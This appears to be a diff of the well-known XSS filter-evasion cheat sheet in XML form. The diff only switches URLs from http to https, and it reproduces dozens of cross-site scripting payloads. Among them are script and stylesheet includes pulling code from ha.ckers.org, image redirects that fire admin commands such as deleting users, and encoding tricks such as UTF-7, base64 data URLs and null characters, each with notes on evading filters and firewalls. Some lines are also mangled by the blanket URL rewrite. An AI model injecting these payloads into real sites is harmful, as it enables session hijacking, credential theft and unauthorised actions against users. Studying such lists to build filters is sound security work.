|
|
|
|
@ -30,7 +30,7 @@
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>SCRIPT w/Source File</name>
|
|
|
|
|
<code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT SRC=https://ha.ckers.org/xss.js></SCRIPT></code>
|
|
|
|
|
<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc>
|
|
|
|
|
<label>Basic XSS Attacks</label>
|
|
|
|
|
|
|
|
|
|
@ -174,7 +174,7 @@
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>IMG Embedded commands 1</name>
|
|
|
|
|
<code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
|
|
|
|
|
<code><IMG SRC="https://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
|
|
|
|
|
<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
|
|
|
|
|
@ -183,8 +183,8 @@
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>IMG Embedded commands 2</name>
|
|
|
|
|
<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code>
|
|
|
|
|
<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>
|
|
|
|
|
<code>Redirect 302 /a.jpg https://victimsite.com/admin.asp&deleteuser</code>
|
|
|
|
|
<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="https://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -220,7 +220,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>LAYER</name>
|
|
|
|
|
<code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code>
|
|
|
|
|
<code><LAYER SRC="https://ha.ckers.org/scriptlet.html"></LAYER></code>
|
|
|
|
|
<desc>Layer (Older Netscape only)</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
|
|
|
|
|
@ -239,7 +239,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<attack>
|
|
|
|
|
<name>US-ASCII encoding</name>
|
|
|
|
|
<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code>
|
|
|
|
|
<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>
|
|
|
|
|
<desc>Found by Kurt Huwig https://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -256,7 +256,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<attack>
|
|
|
|
|
<name>META w/data:URL</name>
|
|
|
|
|
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code>
|
|
|
|
|
<desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc>
|
|
|
|
|
<desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see https://www.ietf.org/rfc/rfc2397.txt for more details</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -264,8 +264,8 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>META w/additional URL parameter</name>
|
|
|
|
|
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code>
|
|
|
|
|
<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc>
|
|
|
|
|
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=https://;URL=javascript:alert('XSS');"></code>
|
|
|
|
|
<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "https://" you can evade it with the following technique (Submitted by Moritz Naumann https://www.moritz-naumann.com)</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
@ -282,7 +282,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>OBJECT</name>
|
|
|
|
|
<code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code>
|
|
|
|
|
<code><OBJECT TYPE="text/x-scriptlet" DATA="https://ha.ckers.org/scriptlet.html"></OBJECT></code>
|
|
|
|
|
<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
@ -299,9 +299,9 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Embed Flash</name>
|
|
|
|
|
<code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
|
|
|
|
|
<code><EMBED SRC="https://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
|
|
|
|
|
|
|
|
|
|
<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc>
|
|
|
|
|
<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: https://ha.ckers.org/weird/xssflash.html :</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -327,7 +327,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<attack>
|
|
|
|
|
<name>STYLE w/Comment</name>
|
|
|
|
|
<code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code>
|
|
|
|
|
<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc>
|
|
|
|
|
<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov https://www.pixel-apes.com/ for this one)</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
@ -371,7 +371,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Remote Stylesheet 1</name>
|
|
|
|
|
<code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code>
|
|
|
|
|
<code><LINK REL="stylesheet" HREF="https://ha.ckers.org/xss.css"></code>
|
|
|
|
|
<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
@ -380,8 +380,8 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Remote Stylesheet 2</name>
|
|
|
|
|
<code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code>
|
|
|
|
|
<desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>
|
|
|
|
|
<code><STYLE>@import'https://ha.ckers.org/xss.css';</STYLE></code>
|
|
|
|
|
<desc>Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop https://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -389,8 +389,8 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Remote Stylesheet 3</name>
|
|
|
|
|
<code><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"></code>
|
|
|
|
|
<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>
|
|
|
|
|
<code><META HTTP-EQUIV="Link" Content="<https://ha.ckers.org/xss.css>; REL=stylesheet"></code>
|
|
|
|
|
<desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <https://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -398,7 +398,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Remote Stylesheet 4</name>
|
|
|
|
|
<code><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
|
|
|
|
|
<code><STYLE>BODY{-moz-binding:url("https://ha.ckers.org/xssmoz.xml#xss")}</STYLE></code>
|
|
|
|
|
<desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc>
|
|
|
|
|
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
@ -426,7 +426,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<attack>
|
|
|
|
|
<name>XML namespace</name>
|
|
|
|
|
<code><HTML xmlns:xss>
|
|
|
|
|
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
|
|
|
|
|
<?import namespace="xss" implementation="https://ha.ckers.org/xss.htc">
|
|
|
|
|
<xss:xss>XSS</xss:xss>
|
|
|
|
|
|
|
|
|
|
</HTML></code>
|
|
|
|
|
@ -440,7 +440,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<code><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
|
|
|
|
|
|
|
|
|
|
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></code>
|
|
|
|
|
<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc>
|
|
|
|
|
<desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult https://www.sec-consult.html while auditing Yahoo.</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -458,7 +458,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>XML (locally hosted)</name>
|
|
|
|
|
<code><XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
|
|
|
|
|
<code><XML SRC="https://ha.ckers.org/xsstest.xml" ID=I></XML>
|
|
|
|
|
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></code>
|
|
|
|
|
|
|
|
|
|
<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc>
|
|
|
|
|
@ -474,7 +474,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
<?import namespace="t" implementation="#default#time2">
|
|
|
|
|
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML></code>
|
|
|
|
|
|
|
|
|
|
<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>
|
|
|
|
|
<desc>HTML+TIME in XML. This is how Grey Magic https://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>
|
|
|
|
|
<label>HTML Element Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -501,7 +501,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Local .htc file</name>
|
|
|
|
|
<code><XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"></code>
|
|
|
|
|
<code><XSS STYLE="behavior: url(https://ha.ckers.org/xss.htc);"></code>
|
|
|
|
|
<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc>
|
|
|
|
|
<label>Other Attacks</label>
|
|
|
|
|
|
|
|
|
|
@ -510,7 +510,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Rename .js to .jpg</name>
|
|
|
|
|
<code><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT SRC="https://ha.ckers.org/xss.jpg"></SCRIPT></code>
|
|
|
|
|
<desc>Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector.</desc>
|
|
|
|
|
|
|
|
|
|
<label>Other Attacks</label>
|
|
|
|
|
@ -519,7 +519,7 @@ xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>SSI</name>
|
|
|
|
|
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--></code>
|
|
|
|
|
<code><!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=https://ha.ckers.org/xss.js></SCRIPT>'"--></code>
|
|
|
|
|
|
|
|
|
|
<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc>
|
|
|
|
|
<label>Other Attacks</label>
|
|
|
|
|
@ -682,7 +682,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>DIV w/Unicode</name>
|
|
|
|
|
<code><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></code>
|
|
|
|
|
<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc>
|
|
|
|
|
<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (https://www.sysdream.com) as a vulnerability in Hotmail.</desc>
|
|
|
|
|
<label>Character Encoding Attacks</label>
|
|
|
|
|
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
@ -701,7 +701,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
<name>UTF-7 Encoding</name>
|
|
|
|
|
<code><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</code>
|
|
|
|
|
|
|
|
|
|
<desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc>
|
|
|
|
|
<desc>UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov https://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire https://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.</desc>
|
|
|
|
|
<label>Character Encoding Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -782,7 +782,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
<name>Null Chars 1</name>
|
|
|
|
|
<code>perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out</code>
|
|
|
|
|
|
|
|
|
|
<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>
|
|
|
|
|
<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (https://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc>
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
|
|
|
|
|
|
|
|
|
|
@ -807,7 +807,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Non-Alpha/Non-Digit</name>
|
|
|
|
|
<code><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT/XSS SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s"</desc>
|
|
|
|
|
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
@ -825,7 +825,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>No Closing Script Tag</name>
|
|
|
|
|
<code><SCRIPT SRC=http://ha.ckers.org/xss.js</code>
|
|
|
|
|
<code><SCRIPT SRC=https://ha.ckers.org/xss.js</code>
|
|
|
|
|
<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.</desc>
|
|
|
|
|
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
@ -844,7 +844,7 @@ echo('IPT>alert("XSS")</SCRIPT>'); ?></code>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Half-Open HTML/JavaScript</name>
|
|
|
|
|
<code><IMG SRC="javascript:alert('XSS')"</code>
|
|
|
|
|
<desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
|
|
|
|
|
<desc>Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
|
|
|
|
|
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
|
|
|
|
|
As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.</desc>
|
|
|
|
|
|
|
|
|
|
@ -854,7 +854,7 @@ As a side note, this was also effective against a real world XSS filter I came a
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Double open angle brackets</name>
|
|
|
|
|
<code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code>
|
|
|
|
|
<code><IFRAME SRC=https://ha.ckers.org/scriptlet.html <</code>
|
|
|
|
|
<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc>
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
|
|
|
|
|
@ -864,7 +864,7 @@ As a side note, this was also effective against a real world XSS filter I came a
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Extraneous Open Brackets</name>
|
|
|
|
|
<code><<SCRIPT>alert("XSS");//<</SCRIPT></code>
|
|
|
|
|
<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>
|
|
|
|
|
<desc>(Submitted by Franz Sedlmaier https://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (https://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>
|
|
|
|
|
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -873,7 +873,7 @@ As a side note, this was also effective against a real world XSS filter I came a
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Malformed IMG Tags</name>
|
|
|
|
|
<code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code>
|
|
|
|
|
<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>
|
|
|
|
|
